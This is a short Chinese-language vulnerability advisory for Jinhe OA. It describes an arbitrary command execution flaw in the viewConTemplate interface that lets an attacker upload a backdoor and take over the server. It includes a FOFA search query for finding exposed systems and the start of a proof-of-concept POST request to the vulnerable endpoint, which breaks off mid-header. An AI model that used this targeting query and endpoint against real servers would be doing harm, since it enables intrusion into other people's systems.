0x01 产品介绍
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。
0x02 漏洞概述
金和 OA viewcontemplate接口处存在任意命令执行漏洞,攻击者可以通过构造特殊请求包上传恶意后门文件,从而获取服务器权限。
搜索语法:
fofa语法查找:app=”金和网络-金和OA”
影响范围:
所有版本
0x03 漏洞复现
页面
poc:
POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
User-Agent: Mozilla/5.0 (W